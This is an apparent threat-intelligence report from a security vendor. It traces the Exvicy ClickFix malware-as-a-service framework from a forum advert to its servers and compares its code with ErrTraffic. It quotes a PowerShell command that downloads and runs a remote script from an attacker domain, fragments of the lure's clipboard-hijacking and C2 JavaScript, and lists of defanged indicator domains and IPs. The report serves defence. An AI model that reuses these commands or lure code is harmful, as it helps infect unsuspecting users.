Home
Blog
Exvicy: A copycat of the ErrTraffic malware distribution framework
Table of contents
H2 title on one or more lines.
Share
Copied !

Exvicy: A copycat of the ErrTraffic malware distribution framework

This article details how TDR pivoted from a forum advertisement to identify confirmed operator infrastructure, analyzes the Exvicy infection chain, and provides code evidence establishing that this emerging MaaS is a direct copycat of the adopted ErrTraffic framework.
Pixel-art illustration of a retro computer lab filled with vintage computers, floppy disks, circuit boards, and electronic equipment, with two cats displayed on the central monitor.

Key takeaways

Sekoia's TDR team discovered Exvicy, a new ClickFix malware distribution framework, from a single forum screenshot all the way to its operator's live infrastructure. Here's what we found:

  • Exvicy is an emerging ClickFix malware distribution framework sold as Malware-as-a-Service, and advertised on Exploit.IN since 26 May 2026.
  • By pivoting from a screenshot of the Exvicy administration panel shared on the cybercrime forum, TDR analysts identified the operator’s C2 infrastructure, ClickFix pages impersonating Cloudflare Turnstile challenges, and compromised WordPress sites used to distribute the framework.
  • TDR analysts assess with high confidence that Exvicy is a copycat of ErrTraffic, directly reusing its injected JavaScript, ClickFix HTML, and C2 communication logic.
  • Sekoia telemetry reveals hosts across multiple Sekoia SOC platform customer environments communicating with Exvicy C2 servers, confirming active adoption by threat actors for malware delivery.

Introduction

While monitoring the threads related to malware distribution on the Russian-speaking cybercrime forum Exploit.IN, Sekoia’s Threat Detection & Research (TDR) team uncovered Exvicy, a ClickFix malware distribution framework advertised by a threat actor under the handle @Exvicy. This emerging Malware-as-a-Service (MaaS) positions itself as a competitor to ErrTraffic, a prominent framework sold by the threat actor @LenAI since December 2025 and detailed in our blog post Unveiling ErrTraffic: inside a growing ClickFix malware distribution framework.

By pivoting from technical artifacts embedded in screenshots of the Exvicy administration panel posted on Exploit.IN, TDR analysts identified the associated Exvicy server infrastructure. Consequently, we uncovered Exvicy ClickFix pages impersonating Cloudflare Turnstile verification challenges, as well as a cluster of compromised WordPress websites used to deliver the framework.

Despite @Exvicy’s public claims that this framework is a distinct product because the ClickFix social engineering lure relies on the “Win+R” shortcut instead of “Win+X”, technical analysis revealed several similarities with ErrTraffic. Examination of the Excvicy JavaScript framework demonstrated that it reuses the ErrTraffic JavaScript codebase, including the obfuscated script injected to compromised WordPress sites and the ClickFix lure responsible for Command and Control (C2) communications.

This report details how TDR pivoted from a forum advertisement to identify confirmed operator infrastructure, analyzes the Exvicy infection chain, and provides code evidence establishing that this emerging MaaS is a direct copycat of the adopted ErrTraffic framework.

An emerging ClickFix MaaS on Exploit.IN

Advertising thread and feedbacks

The Exvicy ClickFix framework was first advertised on 26 May 2026, in an Exploit.IN thread titled “[RENT] CLICKFIX panel for your leads, traffic”. The seller is a Russian-speaking threat actor operating under the handle @Exvicy on both Exploit.IN and Telegram. He initially priced the framework, which includes both the JavaScript component and the administration panel, at $1,200 per month. In mid-August 2026, the operator increased the subscription fee to $2,000 per month, asserting that “detections are becoming daily”. Because the framework likely requires more frequent updates to evade detection, the operator raised the price to reflect the ongoing effort needed to maintain its operational efficacy.

Below is @Exvicy’s initial post introducing the MaaS framework (translated from Russian):

🚀 Good day!
Came out of private.
I present to you my solution for you. My panel will be convenient for implementing your traffic
⚙️ Functionality
Panel appearance
(Screenshot available in Annex.)
The price of this product per month is $1200/month
jabber/tox in PM upon request.

This post suggests that the operator previously offered the ClickFix framework exclusively to a small private group of threat actors. Over the following weeks, four Exploit.IN users vouched for the service, describing a reliable “knock” (the initial request sent to serve ClickFix pages), frequent panel updates, regular infrastructure rotation (to mitigate detections and domain blocking), and responsive support. As of early June 2026, two alleged customers claimed to have used the framework for over a month and three months, respectively, aligning with the prior private offering.

On 26 June 2026, a user challenged the framework’s pricing by comparing Exvicy to @LenAI’s ErrTraffic MaaS. @Exvicy responded that the framework he was selling relied on the “Win+R” shortcut rather than “Win+X” (to open the Windows Run dialog box and execute the ClickFix command on the host), adding that he set “the price for the product to whatever I think is appropriate”. The operator also posted a video demonstrating command execution speed. This interaction indicates that the specific execution shortcut used to infect victims served as the primary advertised differentiator between the two ClickFix frameworks.

From a forum screenshot to the adversary’s infrastructure

The initial post, shown above, includes a screenshot of the administration panel, specifically the domain management tab. Although not explicitly labeled, a tab designated for managing Cloudflare C2 domains includes the Exvicy C2 domain registered by the attacker. The screenshot on Exploit.IN shows a redacted domain hidden behind a white overlay: the domain uses the .com TLD and contains approximately 15 to 16 characters in its name. Furthermore, this domain uses the Cloudflare DNS nameserver pair randy.ns.cloudflare[.]com / stevie.ns.cloudflare[.]com.

Operator's screenshot of the Exvicy administration panel
Operator's screenshot of the Exvicy administration panel

By searching for .com domains registered since mid-May 2026 that share this specific nameserver pair, TDR analysts identified five matching domains:

Domains Registration date
cloudflarecapcha.com 2026-07-22
perfectverified.com 2026-07-16
us-addnewdevice.com 2026-07-05
newsecuredevice.com 2026-07-01
unitedstateverif.com 2026-05-20

These domains were registered through FewMoreTaps and PublicDomainRegistry, and they all use TLS certificates issued by Google Trust Services. Given the thematic and lexical similarities in their naming conventions (e.g. verification, device, captcha), we assess that these domains were likely registered by the same threat actor to host deceptive Cloudflare CAPTCHA verification pages.

Scanning domains revealed a login page at hxxps://us-addnewdevice[.]com/panel (urlscan.io's scan of a suspected Exvicy login page at us-addnewdevice[.]com/panel). As shown in the figure below, the design of this login page is identical to the Exvicy “Download statistics” interface published in the Exploit.IN thread. Furthermore, the login page defaults to Russian and features a RU/EN language toggle, matching the language option observed in @Exvicy’s forum screenshots.

Login page and administration panel associated with Exvicy
Login page and administration panel associated with Exvicy

Additionally to the matching interface design, we found an obfuscated PowerShell script hosted at hxxps://us-addnewdevice[.]com (urlscan.io's scan of the suspected Exvicy domain returning a malicious PowerShell dropper). This script functions as a downloader, retrieving an MSI installer from a Cloudflare R2 bucket and sending installation status updates to a C2 server, 89.34.90[.]159 in the AS207043 (DEDIK-IO). The MSI installs the legitimate PuTTY application, an SSH client that provides remote shell access to the host. In the Exploit.IN thread, the operator posted a screenshot of a “Files” management table listing payload files intended for distribution via the Exvicy framework, which included a file named putty.exe. Based on this evidence, we assess with high confidence that the PowerShell discovered on this infrastructure is a component of the Exvicy framework.

Consequently, we assess with high confidence that we have identified an active Exvicy server infrastructure operated directly by the threat actor selling the framework.

Exvicy ClickFix pages

From Exvicy panels to ClickFix pages

By pivoting on the discovered Exvicy panel, we found additional active administration panels on the following URLs on 9 July 2026:

Administration panel URL
hxxps://onlineprivacyprotect[.]com/panel
hxxps://wwwnewdevice[.]org/panel
hxxp://89.34.90[.]159/panel
hxxp://89.34.90[.]150/panel
hxxp://91.92.33[.]213/panel
hxxp://151.243.113[.]21/panel
hxxp://94.26.83[.]206/panel
hxxp://94.26.90[.]65/panel
hxxp://93.152.224[.]139/panel
hxxp://135.181.127[.]216/panel
hxxp://151.240.151[.]8/panel
hxxp://85.239.149[.]167/panel
hxxp://87.58.199[.]76/panel

Several of these servers hosted a ClickFix page impersonating a Cloudflare Turnstile verification challenge and, as described by @Exvicy, the lure relies on the Windows shortcut “Win+R” to open the Run dialog box and deceives users into running the malicious ClickFix command, as shown below.

Exvicy ClickFix page
Exvicy ClickFix page

This ClickFix page fully aligns with the malware distributed framework advertised by @Exvicy on Exploit.IN. Pivoting on these pages, we were able to find WordPress sites injected with this framework in the wild.

Analysis of ClickFix lure pages

Injected JavaScript

The Exvicy framework relies on injecting a brief initial JavaScript snippet into a legitimate WordPress site, previously compromised by the attacker. This script contains a payload obfuscated via Base64 encoding and XOR encryption, as well as randomized variable names. Upon execution, its primary function is to deobfuscate and execute the embedded payload.

As of mid-August 2026, example of both the initial Exvicy script and the deobfuscated payload are available on Gist (Initial Exvicy obfuscated script and Exvicy deobfuscated payload from the initial script). This Exvicy JavaScript snippet was injected into a compromised WordPress book promotion site scanned by urlscan.io (urlscan.io's scan of a book promotion WordPress compromised by Exvicy, by mid-August 2026).

The deobfuscated payload is a JavaScript responsible for:

  • Setting a deduplication flag to ensure the framework executes only once on the host system.
  • Creating a full-screen iframe titled “Security Check”, which subsequently remotely loads and displays an HTML page.
  • Initiating communication with the Exvicy C2 server to register both the potential victim and the original website, and fetch the next stage.

The Exvicy C2 servers are hardcoded directly within the obfuscated JavaScript. In this instance, two distinctive hosts were identified: hxxps://cloudflare-check[.]net and hxxp://94.26.90[.]126. The script retrieves a ClickFix HTML page using the following URL structure: /embed/<ID>?embed=1&host=<WP_SITE>.

ClickFix HTML

The ClickFix HTML impersonates a Cloudflare Turnstile challenge, designed to deceive victims into executing a malicious command via the Windows Run dialog under the pretext of completing a CAPTCHA verification.

This HTML contains three Base64-encoded and XOR-encrypted JavaScript, which perform the following functions:

  • Preventing double execution via a global flag.
  • Identifying and storing the domain of the impersonated page.
  • Executing ClickFix actions: initiating C2 communications with Exvicy’s infrastructure, concealing the original page content, constructing a fake full-screen Cloudflare Turnstile page, displaying ClickFix instructions, notifying the C2 server upon interaction with the CAPTCHA challenge, and polling the C2 for status updates. 

Additionally, the page renders the domain of the compromised WordPress if it was previously collected and set in the _cfDomain JavaScript variable, otherwise it defaults to displaying “Microsoft.com” or “cloudflare.com” depending on the payload version.

ClickFix instructions are translated into 13 languages (English, German, French, Spanish, Italian, Portuguese, Russian, Ukrainian, Chinese, Japanese, Korean, Turkish, and Arabic), selecting the text based on the browser’s configuration. To purportedly verify that the user is human, the interface instructs the user to press “Win + R”, then “Ctrl + V”, followed by “Enter”. These keystrokes paste and execute a malicious PowerShell command in the Windows Run prompt. The Base64-encoded command is embedded at the top of the HTML page and copied to the user’s clipboard via the copyText JavaScript function.

As of mid-August 2026, Exvicy uses a straightforward PowerShell command downloading and executing a remote PowerShell script, e.g.:

powershell -wi mi -nop -Command "$a=irm 'recaptcha-check[.]com/8E9curHNH8UfAMLz';$ExecutionContext.InvokeCommand.InvokeScript($a)"

Exvicy C2 communications

The initial request sent to the C2 server is an HTTP GET request generated by the primary obfuscated JavaScript to fetch the ClickFix HTML page from /embed/<ID>?embed=1&host=<WP_SITE>.

Once the HTML executes within the compromised WordPress site, Exvicy framework sends an HTTP GET containing an identifier token in the k parameter /api.php?k=[a-f0-9]{48}&d=<base64-encoded-data>, likely to convey host telemetry to the C2 server.

Concurrently, one of Base64-encoded JavaScript snippets initiates communication with the /api.php endpoint using HTTP POST requests to update the ClickFix execution status. These C2 communications consists of three actions:

Action Description HTTP POST data
dl Executed on page load to exfiltrate fingerprint data, including the identifier token, operating system details, a generated UUID and the referrer URL used to fetch the ClickFix HTML page. The server returns a session token and a redirection URL for post-infection navigation. > {action:'dl', k:K, os:OS, vid:_xdvid, ref:location.href} < {token, redir}
cb Triggered when the victim clicks the spoofed CAPTCHA checkbox to notify the C2 server that ClickFix instructions have been displayed to the target. > {action:'cb', k:K, t:pfTok}
check Polled every 1.5 seconds for 3 minutes to retrieve the infection status. The server receives confirmation once the victim executes the ClickFix command execution. > {action:‘check’, k:K, t:pfTok} < {fetched, consumed}

Additionally, the HTML page transmits two HTTP GET requests to /panel/html-event/{pid}/hit?type={typ}&t={timestamp} using different type values: visit and click, respectively sent when loading the spoofed Cloudflare Turnstile page, and sent upon clicking the fake checkbox. These telemetry requests are likely designed to track metrics and user conversion rates. While slightly redundant with these requests sent by the JavaScript snippet, they transmit different contextual parameters simultaneously.

Similarities with ErrTraffic

Injected JavaScript snippets

As previously documented by our team, ErrTraffic is a JavaScript framework injected into compromised WordPress sites to deliver ClickFix lures. Sold as a MaaS by @LenaAI on Exploit.IN since December 2025, ErrTraffic gained significant popularity among threat actors in early 2026. It became a leading competition among ClickFix distribution clusters, alongside ClearFake, KongTuke, SmartApeSG, and IClickFix.

The Exvicy framework highly likely borrowed codes from ErrTraffic, specifically for the initial JavaScript injected into the compromised WordPress environments, using the same obfuscation techniques, execution routine, and structural patterns. As of mid-August 2026, examples of both the initial ErrTraffic script and the deobfuscated payload are available on Gist (Initial ErrTraffic obfuscated script and ErrTraffic deobfuscated payload). The payload primarily retrieves the ErrTraffic C2 domain (analysis-id-lfg[.]info) from the Polygon blockchain using the contract address 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. Notably, this smart contract address was created by the wallet address 0xCaf2C54E400437da717cF215181B170F65187aBf, which appears to serve as the central operational hub for cybercriminal activities attributed to the threat actor LenAI.

This ErrTraffic JavaScript snippet was injected into a compromised Brazilian WordPress site scanned by urlscan.io (urlscan.io's scan of a Brazilian website compromised by ErrTraffic, by mid-August 2026). A side-by-side comparison of the Exvicy and ErrTraffic injected scripts is shown below:

Comparison of Exvicy and ErrTraffic scripts
Comparison of Exvicy and ErrTraffic scripts

Aside from the Base64-encoded payloads and randomly generated JavaScript variable names, both scripts are nearly identical. Consequently, we assess with medium confidence that the operators of Exvicy and ErrTraffic rely on the same tool to generate these injected scripts.

Both scripts decode a Base64 payload containing JavaScript that handles communication with their respective C2 infrastructure. However, their C2 communication differs: the Exvicy script uses two hardcoded C2 servers, whereas ErrTraffic employs EtherHiding as Dead Drop Resolver (DDR) to conceal its C2 infrastructure on the blockchain.

ClickFix pages

The Exvicy HTML code retrieved from /embed/<ID>?embed=1&host=<WP_SITE>, renders the ClickFix lure, contains a JavaScript almost identical to that used by an ErrTraffic cluster impersonating the ChatGPT landing page with a reCAPTCHA-themed lure, as documented in our previous analysis.

An example of the ErrTraffic JavaScript retrieved from chatgpt-web[.]vip is available on Gist (ErrTraffic JavaScript implementing ClickFix actions using a reCAPTCHA lure), as scanned via urlquery.net in June 2026. This ErrTraffic cluster used the C2 domain verification-js-cdn[.]boats alongside the Polygon smart contract address 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. An example of the nearly identical Exvicy script observed in mid-August 2026 is also available on Gist (Exvicy JavaScript implementing ClickFix actions using a Cloudflare Turnstile lure).

Both scripts implement the following features using identical code snippets:

Feature Code
Identical use of FNV-1a hash algorithm to set a deduplication flag in the victim’s localStorage var _SK=(function(k){var s=k+'\x00'+(location.hostname||''),h=2166136261; (...)
Identical _xdvid variable and UUID generation function var _xdvid=(function(){try{return crypto.randomUUID();}catch(e){var a=new Uint8Array(16) (...)
Identical copyText function for clipboard manipulation function copyText(t){try{var a=document.createElement('textarea');a.value=t;a.style.cssText='position:fixed;left:-9999px;top:0;opacity:0;' (...)
Identical support for 13 lure translations and browser language identification if(k==='f12'||((e.ctrlKey||e.metaKey)&&e.shiftKey&&(k==='i'||k==='j'||k==='c'))||((e.ctrlKey||e.metaKey)&&k==='u'))
Identical xdReq and xdDec functions to send and decode HTTP POST requests function xdReq(p){return fetch(API,{method:'POST',cache:'no-store',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'d='+ (...)
Identical anti-analysis logic if(k==='f12'||((e.ctrlKey||e.metaKey)&&e.shiftKey&&(k==='i'||k==='j'||k==='c'))||((e.ctrlKey||e.metaKey)&&k==='u'))
Nearly identical C2 communication workflows using dl and check actions (cb appears unique to Exvicy) var pf=xdReq({action:'dl',k:K,os:OS,vid:_xdvid,ref:location.href}) (...)
Identical polling state status logic and same variable naming function waitForToken(tok) States: ts, done, hidden, mark, hideInstr, pass, tick

Given these shared code routines, and considering that ErrTraffic is the older, more sophisticated framework featuring Etherhiding, diverse lures, and frequent C2 updates, we assess with high confidence that the developer of Exvicy reused code from ErrTraffic framework.

The Exvicy developer could have gotten ErrTraffic source code, both for client and server sides, either by being a MaaS customer, or by accessing a framework leak. Thus, @Exvicy would have built a competitor malware distribution framework based on the @LenAi code. This alleged theft of the source code to launch a competitor service would not be an isolated event in the cybercrime ecosystem.

Another hypothesis is that @Exvicy retrieved the client-side code directly from browsing compromised WordPress websites, much like CTI analysts do, and entirely reimplemented the backend infrastructure. However, this hypothesis is less plausible: given the effort to rebuild the server side, a threat actor could just as easily vibe-code a custom client-side from scratch, rather than re-engineering an existing one.

Conclusion

Sekoia TDR analysts discovered Exvicy, an emerging ClickFix malware distribution framework sold as Malware-as-a-Service and advertised on Exploit.IN since May 2026. By pivoting on a partially redacted domain name and a Cloudflare nameserver pair visible in a screenshot of the administration panel, we uncovered an Exvicy cluster comprising domains and IP addresses hosting administration panels, PowerShell scripts, and ClickFix lures impersonating Cloudflare Turnstile verification challenges.

Exvicy is a new competitor to ErrTraffic, primarily distinguishing itself by using the “Win+R” keyboard shortcut instead of the “Win+X” to launch the Windows Run prompt in its ClickFix lure. We assess with high confidence that Exvicy is a copycat of ErrTraffic built on a reused client-side codebase. The Exvicy operator either acquired the ErrTraffic’s source code, or extracted its client-side JavaScript to construct the framework.

TDR analysts have observed telemetry for Exvicy C2 infrastructure across multiple Sekoia customers environments, confirming that the framework has been actively adopted by threat actors and deployed across numerous compromised WordPress sites.

To protect our customers from Exvicy, ErrTraffic, and other ClickFix-based frameworks, Sekoia.io analysts will maintain proactive monitoring of these emerging threats and continue tracking their C2 infrastructure.

IoCs

C2 infrastructure

By 25 August 2026:

Domains First seen date
kawaiininjaclub[.]cfd 2026-08-23
jouncepopdownloadnow[.]com 2026-08-19
jumppopdownloadsecret[.]monster 2026-08-19
lastdayornot[.]top 2026-08-19
searlepub[.]com 2026-08-18
whirlpoploaderfast[.]com 2026-08-16
clickzona[.]net 2026-08-14
flarclod[.]top 2026-08-13
scribblebubblebibi[.]top 2026-08-09
cloudflare-check[.]net 2026-08-06
boundpopclickgetfile[.]monster 2026-08-05

Infrastructure hosting administration panels

By 25 August 2026:

airduct1[.]com jouncepopdownloadnow[.]com straighteightlogistics[.]com
amalqasehselangor[.]com jumppopdownloadsecret[.]monster sunnypaydayloan[.]com
annamaclean[.]com kawaiininjaclub[.]cfd suveniricrnagora[.]com
arushigupta[.]life launchingramps[.]com tamilarnews[.]com
ascendpopdownloadtoday[.]monster lastdayornot[.]top thistle-productions[.]com
asiana-online[.]com leosafari[.]com tycoonsrow[.]com
betesebplus[.]com lewdstories[.]com ustgate[.]com
bluemountainloan[.]com lionheadsl[.]com virgensantisima[.]com
boardgamepix[.]com locoaudio[.]com vydlje[.]com
boundpopclickgetfile[.]monster lyxorgbs[.]com washingtondc-plumbing[.]com
breadcabin[.]com maidsradar[.]com whirlpoploaderfast[.]com
canflymarketing[.]com medfinadvisory[.]com wergwee[.]com
connorkimble[.]com nanakshahicoin[.]com yuriajonesphotography[.]com
daleeby[.]com photobyroyan[.]com 2.27.5[.]165
di-il[.]com pigeononpinguin[.]top 31.76.31[.]28
dutyfrees[.]digital ploutouscapitalus[.]com 31.77.228[.]46
familyonlinestore[.]com plumber-charlotte[.]com 65.21.18[.]60
gardelectricalcontracting[.]com premiumfastloans[.]com 65.21.208[.]199
golfcoursetravel[.]com primemarkets360[.]com 85.239.144[.]195
golftucsonarizona[.]com redwing-max[.]biz 85.239.149[.]13
hanbayjewellery[.]com safetybygrace[.]com 85.239.149[.]14
hestiamortgages[.]com sanremomodauomo[.]com 89.34.90[.]217
id-ll[.]com searlepub[.]com 91.92.33[.]156
ilaumachque[.]com sisaradistributors[.]com 91.92.43[.]245
interactivsbroker[.]com socialseoguru[.]com 93.152.223[.]161
islamjamal[.]com solidfuelsupplier[.]com 193.41.68[.]196
josephtoone[.]com starbreezehvac[.]com

The Exvicy panel is accessible at /panel on port 80. Pages at / return the Exvicy ClickFix page, which impersonates Cloudflare Turnstile.

Annex

Screenshots attached to Exvicy advertisement on Exploit.IN

This is the Exvicy tab for managing files to deliver through the framework.

Exvicy tab for managing files.
Exvicy tab for managing files.

Below is the Exvicy tab for allegedly managing C2 domains hosted behind Cloudflare.

Exvicy tab for allegedly managing C2 domains
Exvicy tab for allegedly managing C2 domains

Here is the Exvicy tab for managing Telegram bot to notify for new visitors on sites compromised with Exvicy

Exvicy Telegram bot settings
Exvicy Telegram bot settings

This is the Exvicy tab for downloading statistics:

Exvicy download statistics
Exvicy download statistics

This is the Exvicy tab for managing Exvicy ClickFix pages:

Managing Exvicy ClickFix pages
Managing Exvicy ClickFix pages

Finally, this is the Exvicy tab for allegedly managing traffic filtering based on user geolocation:

Traffic filtering based on geolocation
Traffic filtering based on geolocation

Cyber Threat Intelligence

Actionable cyber threat intelligence for security teams that need to understand threats faster, focus on what matters, and operationalize intelligence across hunting, detection, and investigation.

Abstract circular icon with a central human figure surrounded by six connecting nodes.